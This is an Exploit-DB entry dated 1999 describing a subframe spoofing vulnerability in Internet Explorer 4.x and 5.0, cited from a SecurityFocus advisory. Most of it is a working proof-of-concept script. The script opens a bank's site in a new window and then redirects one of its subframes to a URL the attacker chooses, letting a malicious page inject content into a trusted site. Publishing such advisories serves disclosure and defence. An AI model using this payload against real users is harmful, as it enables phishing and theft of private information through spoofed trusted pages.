Microsoft Internet Explorer 4.1/5.0/4.0.1 - Subframe Spoofing

EDB-ID:

19662




Platform:

Windows

Date:

1999-11-30


Internet Explorer 4.1 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 Subframe Spoofing Vulnerability

source: https://www.securityfocus.com/bid/855/info

IE's default security settings allow a malicious webpage to open a new browser, open another site's main frame in that new browser and then set any subframes to a URL of their choosing. This could lead to misappropriation of private information, among other problems. 

<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT>